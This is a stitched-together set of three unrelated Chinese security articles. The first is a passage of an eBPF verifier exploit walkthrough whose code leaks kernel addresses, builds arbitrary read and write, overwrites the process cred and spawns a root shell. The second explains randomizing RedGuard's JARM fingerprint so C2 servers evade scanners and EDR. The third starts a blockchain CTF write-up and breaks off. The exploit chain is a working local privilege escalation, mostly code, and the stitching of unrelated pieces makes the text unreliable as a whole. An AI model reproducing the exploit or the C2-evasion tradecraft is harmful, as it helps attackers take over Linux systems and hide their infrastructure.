接下来，为了获取kernel 任意地址读写能力，我们需要获取一个原语，它能满足这种条件，即veifier认为它的值为0，但实际运行时为1。
首先，对R6加1，相应的边界值都加1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1);// r6 += 1; .umin_value=0x2; umax_value=0x1;
之后，一样的方法获取一个对于veifier是unknown的值（来自map），再通过 **JMP32** 更新其边界值
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // r6 += 1; .umin_value=0x2; umax_value=0x1;
BPF_JMP32_IMM(JMP_JLE, BPF_REG_5, 1, 1), // if r5 <= 1 goto pc+1;
BPF_EXIT_INSN(),
由于运行时，R5的值来自map.elem[0]，可控的，当R5=0时，`JLE`返回`TRUE`，将会跳过`EXIT`指令，并更新R5的边界为R5.var_off
= {mask=0xffffffff00000001, value=0x0}。R5.umin_value = 0, umax_value = 0x1;
当R6和R5相加时，边界值再一次更新
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5),
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
struct bpf_reg_state *regs = cur_regs(env);
u8 opcode = BPF_OP(insn->code);
...
switch (opcode) {
case BPF_ADD:
scalar32_min_max_add(dst_reg, &src_reg);
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);
break;
....
}
static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
....
if (dst_reg->u32_min_value + umin_val < umin_val ||
dst_reg->u32_max_value + umax_val < umax_val) {
dst_reg->u32_min_value = 0;
dst_reg->u32_max_value = U32_MAX;
}
else {
dst_reg->u32_min_value += umin_val;
dst_reg->u32_max_value += umax_val;
}
}
可以看到，在不会产生溢出的情况下，umin/umax_value只是dst和source相应的和。
也就是此时的R6.umin_value=umax_value = 0x2，此时verify 认为R6=0x2；runtime下R6=0x1
之后，利用0x2 & 0x1 == 0x0，构造出`verify: 0x0, runtime: 0x1`的情况
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1) // verify: 0 runtime: 1
后续可以利用这一点完成越界读写。
##### 泄漏内核地址
map里的内容并不是存储在动态分配的堆内存中，而是在`bpf_array.value`，而同在`bpf_array`中，存在一个有用的结构体`bpf_map`
struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[0] __aligned(8); // map's content
void *ptrs[0] __aligned(8);
void __percpu *pptrs[0] __aligned(8);
};
};
struct bpf_map {
/* The first two cachelines with read-mostly members of which some
* are also accessed in fast-path (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
void *security;
#endif
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u64 map_extra; /* any per-map-type extra fields */
u32 map_flags;
int spin_lock_off; /* >=0 valid offset, <0 error */
int timer_off; /* >=0 valid offset, <0 error */
u32 id;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
u32 btf_vmlinux_value_type_id;
struct btf *btf;
...
};
其中最重要的一个成员就是`ops`，它指向了一个虚拟函数表，取决于map的类型。
例如有`array_map_ops/cpu_map_ops/dev_map_ops...`，这些结构体都位于`.rodata`，并且在`/proc/kallsyms`中有对应的导出符号，泄漏这些地址可以用于绕过KALSR.
`map_lookup_elem`我们可以获取任意一个map里elem的地址即`bpf_array.value`的地址，通过偏移计算（&value[0] -0x110）可以得到ops地址。
下述代码可以将`ops`地址存储在map.elem[4]中
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
// {mask=0x0, value=0x1000000002}
BPF_LD_IMM64(BPF_REG_8, 0x1), // r8 = 0x1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32), // r8 <= 32 == 0x10000 0000
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 2), // r8 += 2 == 0x10000 0000 2
BPF_MAP_GET(0, BPF_REG_5), // r5 = map.elem[0]
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // r6 = r5
BPF_MOV64_IMM(BPF_REG_2, 0xffffffff), // r2 = 0xffffffff
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32), // r2 <= 32 == 0xffffffff 00000000
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_2), // r6 &= r2 ; high32 unkown, low 32 known
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1), // r6.var_off = {mask=0xffffffff 00000000, value=0x01}
// Trigger the vuln
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_8), // r6 &= r8; r6.umin_value=0x1; r6.umax_value=0x0
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // r6 += 1; .umin_value=0x2; umax_value=0x1;
BPF_JMP32_IMM(BPF_JLE, BPF_REG_5, 1, 1), // if r5 <= 1 goto pc+1;
BPF_EXIT_INSN(), // r5.umin_value = 0x0, umax_value=0x1
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5), // r6 +=r5 umin_value=umax_value=0x2
// only take low 32 bits
BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // r6=r6 ; only low 32bits
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1), // verify: 0 runtime: 1
// read kalsr(op=0) ops地址在&value[0] - 0x110处
BPF_MAP_GET(1, BPF_REG_7), // 30: (79) r7 = *(u64 *)(r0 +0)
BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 0, 23), // 32: (55) if r7 != 0x0 goto pc+23
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110), // 33: (27) r6 *= 272
BPF_MAP_GET_ADDR(0, BPF_REG_7), // 41: (bf) r7 =map_value(id=0,off=0,ks=4,vs=8,imm=0) R7=invP0 R8=invP0 R9=ma?
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6), // 43: (1f) r7 -= r6
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), // 44: (79) r8 = *(u64 *)(r7 +0)
BPF_MAP_GET_ADDR(4, BPF_REG_6),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0), // 54: (7b) *(u64 *)(r6 +0) = r8
BPF_EXIT_INSN(),
BPF_EXIT_INSN(),
};
##### 触发eBPF code执行
最简单的就是创建一个`BPF_PROG_TYPE_SOCKET_FILTER`类型的bpf_prog，这样就可以在每一次写入socket操作，就可以触发一次eBPF代码执行
// write_msg() —— trigger to execute eBPF code
int write_msg()
{
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0)
{
perror("write");
return 1;
}
if (n != sizeof(buffer))
{
fprintf(stderr, "short write: %d\n", n);
}
return 0;
}
泄漏内核地址：
// Step 1: create eBPF code, verify and trigger the vulnerability
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 0x100);
if (mapfd < 0)
{
fail("failed to create map '%s'\n", strerror(errno));
}
redact("sneaking evil bpf past the verifier\n");
int progfd = load_prog(); // verify
printf("%s\n", bpf_log_buf);
if (progfd < 0)
{
if (errno == EACCES)
{
msg("log:\n%s", bpf_log_buf);
}
printf("%s\n", bpf_log_buf);
fail("failed to load prog '%s'\n", strerror(errno));
}
redact("creating socketpair()\n");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
{
fail("failed to create socket pair '%s'\n", strerror(errno));
}
redact("attaching bpf backdoor to socket\n");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
{
fail("setsockopt '%s'\n", strerror(errno));
}
// Step 2: leak kernel_base (op=0)
update_elem(0, 0); // value[0]=0x180000000; value[1]=0;
update_elem(1, 0);
size_t value = 0;
write_msg();
size_t ops_addr = get_elem(4); // 读取value[4]处的值
printf("leak addr: 0x%llx\n", ops_addr);
##### 任意地址读
在`bpf_map`中还有一个重要的结构体指针`struct bpf* btf`， 它指向一个包含 _调试信息_
的结构体，通常情况下，该指针是没有初始化的（NULL），也就提供了一个 _坑位_ ，可以用于写入任意地址，并且不会对内核其他功能产生影响。
函数`bpf_map_get_info_by_fd`，有如下代码
if (map->btf) {
info.btf_id = btf_obj_id(map->btf);
info.btf_key_type_id = map->btf_key_type_id;
info.btf_value_type_id = map->btf_value_type_id;
}
即，当我们能越界写`map->btf`为`someaddr - offsetof(struct btf,
id)`时，`info.btf_id`将被写入`*(someaddr)`，由于`btf_id`类型是`u32`，这种方式可以每次读取任意地址4bytes的内容。
######
修改`bpf_array->bpf_map->btf`（&map +
0x40）为指定地址，利用`bpf_map_get_info_by_fd`可以泄漏`btf->id`（偏移&btf + 0x58）的四字节。
//eBPF code
// write btf (op=1) (write bpf_array->bpf_map->btf)
BPF_JMP_IMM(BPF_JNE,BPF_REG_7, 1, 22),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xd0), //
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7= &map.elem[0]
BPF_ALU64_REG(BPF_SUB, BPF_REG_7,BPF_REG_6), // r7 -= r6
BPF_MAP_GET(2, BPF_REG_8), // r8 = map.elem[2] (target_addr - 0x58)
BPF_ST_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // *(u64 *)(r7 + 0) = r8
BPF_EXIT_INSN(),
//trigger code
// abitary read 64 bytes: 利用 bpf_obj_get_info_by_fd 读取两个4字节并拼接到一起
size_t read64(size_t addr)
{
char buf[50] = { 0 };
uint32_t hi_32, lo_32;
update_elem(0, 0);
update_elem(1, 1); //write btf
update_elem(2, addr - 0x58); // target addr - 0x58 (offsetof(btf, id))
write_msg();
if(bpf_obj_get_info_by_fd(mapfd, 0x50, buf)){
fail("failed in bpf_obj_get_info_by_fd.");
return 0;
}
// return value in bpf_map_info->btf_id (offset is 0x40)
lo_32 = *(unsigned int*)(&buf[0x40]);
update_elem(2, addr - 0x58 + 4);
write_msg();
if(bpf_obj_get_info_by_fd(mapfd, 0x50, buf)){
fail("failed in bpf_obj_get_info_by_fd.");
return 0;
}
hi_32 = *(unsigned int*)(&buf[0x40]);
return (((size_t(hi_32) << 32)) | lo_32);
}
##### 任意地址写
现在，我们可以利用前述漏洞获取map相关的地址信息，并可篡改相关地址（可用过map偏移获取的），例如覆写bpf_map的ops函数指针，但是却没有任意地址写。ops函数指针的第一个参数往往都是`bpf_map`结构，使得很多已知的函数不可用。看起来可行的就是利用`bpf_map`原生的函数。
其中`arraymap`的`map_get_next_key`函数如下
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) {
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1;
return 0;
}
当`index < array->map.max_entries - 1`时，始终执行`*next = index +
1`；当`map,.max_entries == 0xffffffff`时，永远成立。
而当`key`和`next_key`可控时，就是一个任意地址写u32（四个字节）的途径
*(u32*)next_key = *key + 1;
而`ops->map_push_elem`函数原型和它相兼容，且两个参数可控
int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
如果将ops->map_push_elem函数替换为array_map_get_next_key，即可达到任意地址写。
`map->push_elem`的唯一调用路径来自`bpf_map_update_value`，且`map_type`为特定的类型。
else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
map->map_type == BPF_MAP_TYPE_STACK ||
map->map_type == BPF_MAP_TYPE_BLOOM_FILTER) {
err = map->ops->map_push_elem(map, value, flags);
}
因此，构造任意地址写的步骤
1: 在可控expmap.value上复制一份ops 虚函数表，并替换map_push_elem为array_map_get_next_key
2：
3： expmap->max_entries设置为0xffffffff
4：expmap->map_type 设置为 BPF_MAP_TYPE_STACK
###### 复制ops虚函数表，并替换map_push_elem
// Step 3: replace map->ops->map_push_elem with map_get_next_key
char fake_ops[0xe8] = { 0 };
for(int i=0; i<0xe8; i+8){
// make a fake ops at &value[0x10]
*(size_t*)&ops[i] = read64(ops_addr + i);
update_elem(0x10 + i/8, *(size_t*)&ops[i]);
}
update_elem(0x10 + 15*8, *(size_t*)&ops[4 * 0x8]);
之后的步骤通过eBPF实现
BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 3, 60), // if r7!=2; goto exit
BPF_MOV64_REG(BPF_REG_8, BPF_REG_6), // r8 = r6
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110), // r6 = r6*0x110
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, BPF_REG_6), // r7 -= r6
BPF_MAP_GET(2, BPF_REG_6), // r6 = valeu[2]
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0), // *(r7+0) = r6
BPF_MOV64_REG(BPF_REG_6, BPF_REG_7), // r6 = r8 ; recovery r6
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xf8), // r8 *= 0xf8
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, BPF_REG_8), // r7 -= r8; r7 = &map.map_type
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, 0x17), // *(r7 + 0) = 0x17; (STACK)
BPF_MOV64_REG(BPF_REG_8, BPF_REG_6), // r8 = r6
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xec), // r6 = r6*0xec
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, BPF_REG_6), // r7 -= r6; r7 = &map.max_entries
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, -1), // *(r7 + 0) = -1
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xe4), // r8 *= 0xe4
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, BPF_REG_8), // r7 -= r8; r7 = &map.spin_lock_off
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, 0), // map.spin_lock_off = 0
BPF_EXIT_INSN(),
任意地址写的方法
void write32(size_t addr, uint32_t data)
{
uint64_t key = 0;
data -= 1;
if (bpf_update_elem(mapfd, &key, &data, addr)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
void write64(size_t addr, size_t data)
{
uint32_t lo = data & 0xffffffff;
uint32_t hi = (data & 0xffffffff00000000) >> 32;
uint64_t key = 0;
write32(addr, lo);
write32(addr+4, hi);
}
##### 泄漏task_strcut cred
`init_pid_ns`命名空间的保存着系统所有的进程的`task`结构，先泄漏`init_pid_ns`地址（根据之前的内核基地址+偏移计算），再根据任意地址读获取`task`地址，遍历列表得到指定进程的`task`结构地址
// Step 4: Leak task_struct
#define INIT_PID_NS 0x111
size_t init_pid_ns = linux_base + INIT_PID_NS;
printf("init_pid_ns: 0x%llx\n", init_pid_ns);
// get current pid
pid_t pid = getpid();
size_t cred_addr = 0;
size_t task_addr = read64(init_pid_ns + 0x30); // task_struct*
// search curret process's task_struct->cred
while(1){
pid_t p = read64(task_addr + 0x908); // get task_struct's pid
printf("iter pid: %d...\n", p);
if(pid == p){
printf("got target cred!\n");
cred_addr = read64(task_addr + 0xac8);
break;
}
else{
// task_struct = task_struct->next
task_addr = read64(task_addr + 0x808) - 0x808;
}
}
#### LPE
在成功泄漏进程`cred`地址后，只需要利用构造的任意地址写，完成修改`cred`即可提权
// Step 7: overwrite cred...
clear_btf();
update_elem(0, 0);
update_elem(1, 3); // option = 3 prepare for attr write
update_elem(2, values_addr + 0x80); // *(&ops) = value_addr + 0x80(fake_ops)
write_msg();
write32(cred_addr+4, 0);
write32(cred_addr+8, 0);
write32(cred_addr+12, 0);
write32(cred_addr+16, 0);
if(getuid() == 0){
puts("Spawn shell;");
system("/bin/sh");
}
return 0;
### 参考
[cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification](https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification)
[kernel-pwning-with-ebpf-a-love-story](https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story) | 社区文章 |
# JARM指纹随机化技术实现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 基于JARM指纹的C2识别
JARM的工作原理是主动向目标TLS服务器发送10个特殊构造的TLS Client Hello包，以在TLS服务器中提取独特的响应，并捕获TLS
Server Hello响应的特定属性，然后以特定的方式对聚合的TLS服务器响应进行散列，产生JARM指纹。
因为Client Hello中的参数不同，最终返回的Server Hello都是不相同的，通过发送特殊构造的Client
Hello握手包，以获取与之对应的特殊Server Hello响应，以此作为依据，最终产生TLS Server指纹。
JARM以不同的顺序发送不同的TLS版本、密码和扩展，以收集唯一的响应。
* 服务器是否支持TLS 1.3协议?
* 它会用1.2密码协商TLS 1.3吗?
* 如果我们将密码从弱到强排序，它会选择哪个密码?
这些是JARM本质上要求服务器提取最独特响应的异常问题类型。然后对这10个响应进行哈希处理以产生JARM指纹。
TLS Client Hello请求流量
Wireshark Filter:
ssl.handshake.type == 1
TLS Server Hello响应
多数情况下JARM指纹都是用以佐证TLS服务并进行标记，从而关联服务。当然，最理想的状态下，我们能够通过JARM指纹唯一的指向目标C2设施，但是实际来讲JARM指纹对于不同服务器部署的C2设施并不是唯一的，有很多因素都会对其扫描的结果造成影响。所以我们并不能作为行为测绘的指纹直接关联到某个C2的服务，仅能起到佐证的效果。
在开发RedGuard的过程中我发现，因为本身来讲RG的作用就是进行前置流量的控制，从而实现后端C2服务的隐匿性，在蓝队对流量交互进行分析的时候，针对RG的JARM指纹扫描结果在多数差异的环境下都是相同的，也就是说，在分析的过程中，这个指纹是可以起到佐证攻击设施的作用，从而破坏我们想要预期达到的隐匿性。
基础设施的更改（例如，IP 地址、托管平台）不会影响JARM签名，这使得常规的方式难以对其进行规避。
影响服务端JARM指纹的因素：
* 操作系统及版本
* 使用的库及版本
* 调用库的顺序
* 自定义配置
* ……..
也就是说，如果我们想要影响最终针对服务端的JARM指纹扫描结果，我们就要从上面的几个因素入手去做，目前的解决方案共有两种：
一、重播TLS Server Hello响应
二、更改TLS Server配置CipherSuites加密套件
第一种方式也就是在监听特定客户端 Hello 的 TCP 服务器，然后在C2服务器上捕获这些特定的Client
Hello（每个请求都有重复的字节，使用这些字节来识别每个特定的Client Hello握手包）,稳定的对这10个特殊构造的Client
Hello的响应进行重播，从而实现改变真实JARM指纹的效果。
if bytes.Contains(request, [] byte {
0x00, 0x8c, 0x1a, 0x1a, 0x00, 0x16, 0x00, 0x33, 0x00,
0x67, 0xc0, 0x9e, 0xc0, 0xa2, 0x00, 0x9e, 0x00, 0x39
, 0x , 0xc0, 0x9f, 0xc0, 0xa3, 0x00, 0x9f, 0x00,
0x45, 0x00, 0xbe, 0x00, 0x88, 0x00, 0xc4, 0x00, 0x9a,
... ...
}) {
fmt.Println("replaying: tls12Forward ")
conn.Write([] byte {
0x16, 0x03, 0x03, 0x00, 0x5a, 0x02, 0x00, 0x00,
0x56, 0x03, 0x03, 0x17, 0xa6, 0xa3, 0x84, 0x80,
0x0b, 3,d, 0xbb, 0x 0xe9, 0x3e, 0x92, 0x65,
0x9a, 0x68, 0x7d, 0x70, 0xda, 0x00, 0xe9, 0x7c,
... ...
})
}
在对所有十个不同的请求实施回复后，可以伪造完整的签名。
这是一种比较懒惰的办法了，最终的效果确实能够对JARM扫描的结果进行混淆，但是我认为太过单调，需要注意的是ServerHello的原始响应他不能进行任意修改，因为在工具开发中流量的正常交互才是最重要的，任意修改上述一些影响
JARM扫描的因素可能导致无法正常通信的问题出现。也就是说他所重播的这些ServerHello数据包是需要监听某个正常的服务的JARM扫描响应来实现的，并不适合我们应用到工具去实现混淆的效果，我们需要一种简单而又稳定的方法。
当然，这种方式还有一种延伸，就是首先随机获取正常站点的列表进行JARM指纹扫描，从而获取其ServerHello响应然后，直接作为识别到JARM扫描握手包的响应包进行重播，这样是最合理的一种方式。
第二种也就是阿姆斯特丹2021 HITB议题《COMMSEC: JARM Randomizer: Evading JARM
Fingerprinting》中提到的一种方式，作者在github上对衍生工具 JARM
Randomizer进行了部分开源，通过阅读它的代码不难看出，其实与我最初想到的方式非常相像，最终影响JARM的因素使用的是CipherSuites加密套件（加密算法套件
CipherSuite 由各类基础加密算法组成）**
实现代码：
如上图，针对反向代理的TLS Config
CipherSuites的设置，我提供了15种不同的加密套件方式，1/2/3….个不同组合的加密套件最终得到的JARM指纹结果都不是相同的(加密套件过多会导致无法正常通信的玄学问题)，这里我对这15种加密套件进行随机组合的方式，1-2个随机取值进行组合这些CipherSuites，大概会有几十种不同的随机JARM指纹产生。
最终效果如下：
可以看到，最终应用在工具的效果就是在每次启动RG的时候，它的JARM指纹都不是相同的，会自动根据上述的混淆方式产生一个全新的JARM指纹，可以防止空间测绘的扫描，以此关联公网上RG基础设施的部署情况。目前市面上多数测绘平台都会进行集成并默认进行JARM指纹的扫描，可能也是因为其扫描效率快，扫描资源成本低、同时又对C2设施有着一定的佐证指向性的原因吧。
RedGuard是一款C2基础设施前置流量控制设施，可以规避Blue Teams、AVs、EDRs检查。
## 参考链接：
<https://github.com/wikiZ/RedGuard>
<https://github.com/netskopeoss/jarm_randomizer>
<https://grimminck.medium.com/spoofing-jarm-signatures-i-am-the-cobalt-strike-server-now-a27bd549fc6b>
<https://conference.hitb.org/hitbsecconf2021ams/sessions/commsec-jarm-randomizer-evading-jarm-fingerprinting/> | 社区文章 |
# 由一道CTF题引发的区块链“股权纠纷案”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近结束的ddctf中mini
blockchain一题与最近热门的区块链紧密挂钩，紧接着XCTF联赛的国际比赛starctf同样出现了一道与区块链相关的题目，于是我只能紧随潮流，来研究并且学习一波未知领域的知识。
> 首先放出参考链接，膜一波大佬们
>
> [http://www.8btc.com/51attack ](http://www.8btc.com/51attack)
>
>
> [http://www.lz1y.cn/archives/1372.html](http://www.lz1y.cn/archives/1372.html)
>
> <http://hebic.me/2018/04/20/DDCTF2018-mini-blockchain-writeup/>
并且感谢研究区块链课题的同学kxz的ppt资料参考，当然，由于技术拙劣，难免出现错误，望各位更正。
## 区块链与比特币基础学习
### 起源
区块链的概念首次在2008年末由中本聪（Satoshi Nakamoto）发表在比特币论坛中的论文《Bitcoin: A Peer-to-Peer
Electronic Cash System》提出。
论文中区块链技术是构建比特币数据结构与交易信息加密传输的基础技术，该技术实现了比特币的挖矿与交易。
区块链是一种支持比特币运行的底层技术。
2009年1月3日，中本聪在位于芬兰赫尔辛基的一个小型服务器上挖出了比特币的第一个区块——创世区块（Genesis
Block），并获得了首批“挖矿”奖励——50个比特币。
### 基本概念
区块链是一种去中心化的分布式数据库
Google上的定义是:
区块链（Blockchain）是指通过去中心化和去信任的方式集体维护一个可靠数据库的技术方案。
该技术方案让参与系统中的任意多个节点，把一段时间系统内全部信息交流的数据，通过密码学算法计算记录到一个数据块（block），并且生成该数据块的指纹用于链接（chain）下个数据块和校验，系统所有参与节点来共同认定记录是否为真。
1.去中心化：
即无中央管理机构，没有管理员。每个人都可以向区块中写数据，这就避免了一些大公司垄断的可能性。
2.分布式：
每个人都可以架设服务器成为区块链的一个节点
3.数据库：
区块链是存储数据的
### 区块链的特点
1、去中心化
由于使用分布式核算和存储，不存在中心化的硬件或管理机构，任意节点的权利和义务都是均等的，系统中的数据块由整个系统中具有维护功能的节点来共同维护。
得益于区块链的去中心化特征，比特币也拥有去中心化的特征 。
2、开放性
系统是开放的，除了交易各方的私有信息被加密外，区块链的数据对所有人公开，任何人都可以通过公开的接口查询区块链数据和开发相关应用，因此整个系统信息高度透明。
3、自治性
区块链采用基于协商一致的规范和协议（比如一套公开透明的算法）使得整个系统中的所有节点能够在去信任的环境自由安全的交换数据，使得对“人”的信任改成了对机器的信任，任何人为的干预不起作用。
4、不可篡改
一旦信息经过验证并添加至区块链，就会永久的存储起来，除非能够同时控制住系统中超过51%的节点，否则单个节点上对数据库的修改是无效的，因此区块链的数据稳定性和可靠性极高。
5、匿名性
由于节点之间的交换遵循固定的算法，其数据交互是无需信任的（区块链中的程序规则会自行判断活动是否有效），因此交易对手无须通过公开身份的方式让对方自己产生信任，对信用的累积非常有帮助。
### 区块链的结构
比特币是目前区块链技术最广泛的应用，可以通过比特币作为实例了解区块链的结构。
但比特币并不是区块链，区块链是一种技术、平台。比特币只是区块链的一个应用。
区块链是由许多区块组成的链，每个区块由区块头和数据组成。
区块头里有32字节的父区块哈希值，父区块的哈希值由区块头各个字段的值连在一起经哈希函数（sha256）运算后得到的哈希值，这样区块便链接在一起。
如果某一区块发生改变，那么之后的区块都必须改变，当区块足够多时，计算量是非常大的。在100个区块以后，区块链已经足够稳定。几千个区块（一个月）后的区块
链将变成确定的历史，永远不会改变。这也保证的区块链的安全性。
比特币没有中心机构，几乎所有的完整节点都有一份公共总帐的备份，这份总帐可以被视为认证过的记录。区块链并不是由一个中心机构创造的，它
是由比特币网络中的所有节点各自独立竞争完成的。
结构图：
区块头：
### 挖矿与比特币
想要生产下一个区块，必须计算出当前最新区块的区块头的哈希值。计算哈希值的过程便是挖矿。
但计算出的哈希值要小于目标值,即target。
target=targetmax/difficulty
其中targetmax=0x00000000FFFF0000000000000000000000000000000000000000000000000000
difficulty即区块头中的难度目标，difficulty动态变化，控制难度，使一个新区块的产生周期为10mins
矿工通过遍历Nonce的值，来寻找合适的哈希值。所以也说挖矿掺杂运气成分。
Nonce一共32位，所以最大计算次数可以到21.47亿。
每个区块中的第一个交易是特殊的: 它为第一个采到有效区块的人创建新的比特币。
开始时为2009年1月每个区块奖励50个比特币，然后到2012年11月减
半为每个区块奖励25个比特币。之后将在2016年的某个时刻再次减半为每个新区块奖励12.5个比特币。基于这个公
式，比特币挖矿奖励以指数方式递减，直到2140年。届时所有的比特币（20,999,999,980）全部发行完毕。换句话说
在2140年之后，不会再有新的比特币产生。
每笔交易都可能包含一笔交易费，在2140年之后，所有的矿工收益都将由交易费构成。
挖矿主要方式是矿池挖矿，独立挖矿的风险过于庞大，几乎不可能。通过工作量证明(Nonce)分配收成。
### 区块链分叉问题
如果两个矿工同时算出哈希值，由于距离远近，不同的矿工看到这两个区块是有先后顺序的。通常情况下，矿工们会把自己先看到的区块复制过来，然后接着在这个区块开始新的挖矿工作。于是就出现了两个区块链：
但由于算力不同，最终会有一条区块链比较长，当矿工发现全网有一条更长的链时，他就会抛弃他当前的链，把新的更长的链全部复制回来，在这条链的基础上继续挖矿。所有矿工都这样操作，这条链就成为了主链，分叉出来被抛弃掉的链就消失了。
## 区块链攻击
区块链存在多种攻击形式：
51%攻击
扣块攻击
双重花费攻击
自私采矿攻击
日蚀攻击
因为本次题目主要涉及
51%攻击
双重花费攻击
所以我仅在本篇文章中分析这2个攻击点
(其实二者为一，相辅相成)
所谓51%攻击即攻击者掌握了比特币全网的51%算力之后，用这些算力来重新计算已经确认过的区块，使块链产生分叉并且获得利益的行为。
这里就涉及到之前区块链分叉的问题了
还是以之前的图片为例
我们假设主链为
1(黄)-2(黄)-3(黄)-4(蓝)-5(蓝)
此时
4(蓝)-5(蓝)
为已计算确认过的区块
而攻击者拥有51%的算力，没有任何用户可以超越他的计算速度
于是他从区块3(黄)开始重新计算
伪造生成区块
> 4(黄)-5(黄)-6(黄)
导致之前本已确认的
> 4(蓝)-5(蓝)
作废,使攻击达成
这样的攻击获利方式也很简单。其实也就是双重花费攻击(后称双花攻击)
我们结合DDCTF这道题目来了解一下
## 题目分析
个人认为分析flask代码首要还是查看路由
@app.route(url_prefix + '/')
def homepage():
@app.route(url_prefix + '/flag')
def getFlag():
@app.route(url_prefix + '/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
@app.route(url_prefix + '/reset')
def reset_blockchain():
@app.route(url_prefix + '/source_code')
def show_source_code():
路由大致如上
我们从homepage入手，不难发现题目的背景
@app.route(url_prefix + '/')
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/22. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
addr_info = 'the bank's addr: ' + bank_address + ', the hacker's addr: ' + hacker_address + ', the shop's addr: ' + shop_address
balance_info = 'Balance of all addresses: ' + json.dumps(balance)
utxo_info = 'All utxos: ' + json.dumps(utxos)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return announcement + ('<br /><br />rnrn'.join(
[view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
我们访问这个路由
http://116.85.48.107:5000/b942f830cf97e/
发现目前存在3个地址
the bank's addr: b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985
the hacker's addr: 955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131
the shop's addr: b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735
然后关注到每个账户的资金
